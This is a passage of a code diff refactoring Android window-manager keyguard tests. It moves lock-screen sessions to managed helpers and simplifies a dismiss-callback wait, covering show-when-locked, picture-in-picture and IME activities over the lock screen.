+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(isDisplayOn(DEFAULT_DISPLAY));
}
@Test
- public void testEnterPipOverKeyguard() throws Exception {
+ public void testEnterPipOverKeyguard() {
assumeTrue(supportsPip());
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
- // Show the PiP activity in fullscreen
- launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+ // Show the PiP activity in fullscreen.
+ launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
- // Lock the screen and ensure that the PiP activity showing over the LockScreen.
- lockScreenSession.gotoKeyguard(PIP_ACTIVITY);
- mAmWmState.waitForKeyguardShowingAndOccluded();
- mAmWmState.assertKeyguardShowingAndOccluded();
+ // Lock the screen and ensure that the PiP activity showing over the LockScreen.
+ lockScreenSession.gotoKeyguard(PIP_ACTIVITY);
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
- // Request that the PiP activity enter picture-in-picture mode (ensure it does not)
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
- WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ // Request that the PiP activity enter picture-in-picture mode (ensure it does not).
+ mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+ waitForEnterPip(PIP_ACTIVITY);
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
- // Enter the credentials and ensure that the activity actually entered picture-in
- // -picture
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- waitForEnterPip(PIP_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
- ACTIVITY_TYPE_STANDARD);
- }
- }
-
- @Test
- public void testShowWhenLockedActivityAndPipActivity() throws Exception {
- assumeTrue(supportsPip());
-
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
-
- // Show an activity in PIP
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- waitForEnterPip(PIP_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
- ACTIVITY_TYPE_STANDARD);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
- // Show an activity that will keep above the keyguard
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-
- // Lock the screen and ensure that the fullscreen activity showing over the lockscreen
- // is visible, but not the PiP activity
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertVisibility(PIP_ACTIVITY, false);
- }
- }
-
- @Test
- public void testShowWhenLockedPipActivity() throws Exception {
- assumeTrue(supportsPip());
-
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
-
- // Show an activity in PIP
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true",
- EXTRA_SHOW_OVER_KEYGUARD, "true");
- waitForEnterPip(PIP_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
- ACTIVITY_TYPE_STANDARD);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
- // Lock the screen and ensure the PiP activity is not visible on the lockscreen even
- // though it's marked as showing over the lockscreen itself
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- mAmWmState.assertVisibility(PIP_ACTIVITY, false);
- }
- }
-
- @Test
- public void testDismissKeyguardPipActivity() throws Exception {
- assumeTrue(supportsPip());
-
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- // Show an activity in PIP
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_DISMISS_KEYGUARD, "true");
- waitForEnterPip(PIP_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ // Enter the credentials and ensure that the activity actually entered picture-in-picture.
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ waitForEnterPip(PIP_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
ACTIVITY_TYPE_STANDARD);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ }
- // Lock the screen and ensure the PiP activity is not visible on the lockscreen even
- // though it's marked as dismiss keyguard.
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- mAmWmState.assertVisibility(PIP_ACTIVITY, false);
- }
+ @Test
+ public void testShowWhenLockedActivityAndPipActivity() {
+ assumeTrue(supportsPip());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
+
+ // Show an activity in PIP.
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ waitForEnterPip(PIP_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+ // Show an activity that will keep above the keyguard.
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+
+ // Lock the screen and ensure that the fullscreen activity showing over the lockscreen
+ // is visible, but not the PiP activity.
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+ }
+
+ @Test
+ public void testShowWhenLockedPipActivity() {
+ assumeTrue(supportsPip());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
+
+ // Show an activity in PIP.
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_SHOW_OVER_KEYGUARD, "true");
+ waitForEnterPip(PIP_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+ // Lock the screen and ensure the PiP activity is not visible on the lockscreen even
+ // though it's marked as showing over the lockscreen itself.
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+ }
+
+ @Test
+ public void testDismissKeyguardPipActivity() {
+ assumeTrue(supportsPip());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ // Show an activity in PIP.
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_DISMISS_KEYGUARD, "true");
+ waitForEnterPip(PIP_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+ // Lock the screen and ensure the PiP activity is not visible on the lockscreen even
+ // though it's marked as dismiss keyguard.
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(PIP_ACTIVITY, false);
}
@Test
public void testShowWhenLockedAttrImeActivityAndShowSoftInput() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- // Leverage MockImeSession to ensure at least an IME exists as default.
- final MockImeSession mockImeSession = MockImeSession.create(mContext,
- getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
- lockScreenSession.setLockCredential().gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY, true);
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
- // Make sure the activity has been called showSoftInput & IME window is visible.
- final ImeEventStream stream = mockImeSession.openEventStream();
- expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
- TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
- // Assert the IME is shown on the expected display.
- mAmWmState.waitAndAssertImeWindowShownOnDisplay(DEFAULT_DISPLAY);
- }
+ lockScreenSession.setLockCredential().gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY, true);
+
+ // Make sure the activity has been called showSoftInput & IME window is visible.
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+ TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
+ // Assert the IME is shown on the expected display.
+ mAmWmState.waitAndAssertImeWindowShownOnDisplay(DEFAULT_DISPLAY);
}
@Test
public void testShowWhenLockedImeActivityAndShowSoftInput() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final TestActivitySession<ShowWhenLockedImeActivity> imeTestActivitySession = new
- TestActivitySession<>();
- // Leverage MockImeSession to ensure at least an IME exists as default.
- final MockImeSession mockImeSession = MockImeSession.create(mContext,
- getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
- lockScreenSession.setLockCredential().gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- imeTestActivitySession.launchTestActivityOnDisplaySync(ShowWhenLockedImeActivity.class,
- DEFAULT_DISPLAY);
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ShowWhenLockedImeActivity> imeTestActivitySession =
+ createManagedTestActivitySession();
- // Make sure the activity has been called showSoftInput & IME window is visible.
- final ImeEventStream stream = mockImeSession.openEventStream();
- expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
- TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
- // Assert the IME is shown on the expected display.
- mAmWmState.waitAndAssertImeWindowShownOnDisplay(DEFAULT_DISPLAY);
- }
+ lockScreenSession.setLockCredential().gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ imeTestActivitySession.launchTestActivityOnDisplaySync(ShowWhenLockedImeActivity.class,
+ DEFAULT_DISPLAY);
+
+ // Make sure the activity has been called showSoftInput & IME window is visible.
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+ TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
+ // Assert the IME is shown on the expected display.
+ mAmWmState.waitAndAssertImeWindowShownOnDisplay(DEFAULT_DISPLAY);
+
}
public static class ShowWhenLockedImeActivity extends Activity {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
index d5f7709..5ad4c01 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
@@ -16,16 +16,12 @@
package android.server.wm;
-import static android.server.wm.StateLogger.logAlways;
import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_CANCELLED;
import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_ERROR;
import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_SUCCEEDED;
-import static org.junit.Assert.fail;
-
import android.app.KeyguardManager;
import android.content.ComponentName;
-import android.os.SystemClock;
import android.server.wm.TestJournalProvider.TestJournalContainer;
class KeyguardTestBase extends ActivityManagerTestBase {
@@ -51,14 +47,7 @@
}
private static void assertDismissCallback(ComponentName testingComponentName, String entry) {
- for (int retry = 1; retry <= 5; retry++) {
- if (TestJournalContainer.get(testingComponentName).extras
- .getBoolean(entry)) {
- return;
- }
- logAlways("Waiting for " + entry + "... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail("Waiting for " + entry + " failed");
+ waitForOrFail(entry + " of " + testingComponentName,
+ () -> TestJournalContainer.get(testingComponentName).extras.getBoolean(entry));
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index c608991..32e5ff8 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -23,7 +23,6 @@
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.ComponentNameUtils.getWindowName;
import static android.server.wm.UiDeviceUtils.pressBackButton;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
import static android.server.wm.app.Components.DISMISS_KEYGUARD_METHOD_ACTIVITY;
@@ -71,6 +70,7 @@
* atest CtsWindowManagerDeviceTestCases:KeyguardTests
*/
@Presubmit
+@android.server.wm.annotation.Group2
public class KeyguardTests extends KeyguardTestBase {
class AodSession extends SettingsSession<Integer> {
private AmbientDisplayConfiguration mConfig;
@@ -86,7 +86,7 @@
return mConfig.alwaysOnAvailable();
}
- void setAodEnabled(boolean enabled) throws Exception {
+ void setAodEnabled(boolean enabled) {
set(enabled ? 1 : 0);
}
}
@@ -100,32 +100,32 @@
}
@Test
- public void testKeyguardHidesActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(TEST_ACTIVITY);
- mAmWmState.computeState(TEST_ACTIVITY);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- assertTrue(mKeyguardManager.isKeyguardLocked());
- mAmWmState.assertVisibility(TEST_ACTIVITY, false);
- }
+ public void testKeyguardHidesActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(TEST_ACTIVITY);
+ mAmWmState.computeState(TEST_ACTIVITY);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ assertTrue(mKeyguardManager.isKeyguardLocked());
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false);
+
+ mObjectTracker.close(lockScreenSession);
assertFalse(mKeyguardManager.isKeyguardLocked());
}
@Test
@FlakyTest(bugId = 110276714)
- public void testShowWhenLockedActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testShowWhenLockedActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
/**
@@ -133,56 +133,53 @@
* showing.
*/
@Test
- public void testShowWhenLockedActivity_withDialog() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY, true);
- assertTrue(mAmWmState.getWmState().allWindowsVisible(
- getWindowName(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY)));
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testShowWhenLockedActivity_withDialog() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY, true);
+ assertTrue(mAmWmState.getWmState().allWindowsVisible(
+ getWindowName(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY)));
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
/**
* Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
*/
@Test
- public void testMultipleShowWhenLockedActivities() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY,
- SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(
- SHOW_WHEN_LOCKED_ACTIVITY, SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testMultipleShowWhenLockedActivities() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY,
+ SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(
+ SHOW_WHEN_LOCKED_ACTIVITY, SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
/**
* If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
*/
@Test
- public void testTranslucentShowWhenLockedActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- assertWallpaperShowing();
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testTranslucentShowWhenLockedActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ assertWallpaperShowing();
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
/**
@@ -190,33 +187,31 @@
*/
@Test
@FlakyTest
- public void testTranslucentDoesntRevealBehind() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(TEST_ACTIVITY);
- launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(TEST_ACTIVITY, SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, false);
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testTranslucentDoesntRevealBehind() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(TEST_ACTIVITY, SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false);
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
@Test
- public void testDialogShowWhenLockedActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
- assertWallpaperShowing();
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testDialogShowWhenLockedActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
+ assertWallpaperShowing();
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
/**
@@ -224,24 +219,22 @@
*/
@Test
@Presubmit
- public void testShowWhenLockedActivityWhileSplit() throws Exception {
+ public void testShowWhenLockedActivityWhileSplit() {
assumeTrue(supportsSplitScreenMultiWindow());
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_ACTIVITY)
- .setRandomData(true)
- .setMultipleTask(false)
- );
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_ACTIVITY)
+ .setRandomData(true)
+ .setMultipleTask(false));
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
}
/**
@@ -250,23 +243,22 @@
*/
@Test
@FlakyTest
- public void testInheritShowWhenLockedAdd() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ public void testInheritShowWhenLockedAdd() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- launchActivity(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY);
- mAmWmState.computeState(
- SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY, true);
+ launchActivity(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY);
+ mAmWmState.computeState(
+ SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY, true);
- }
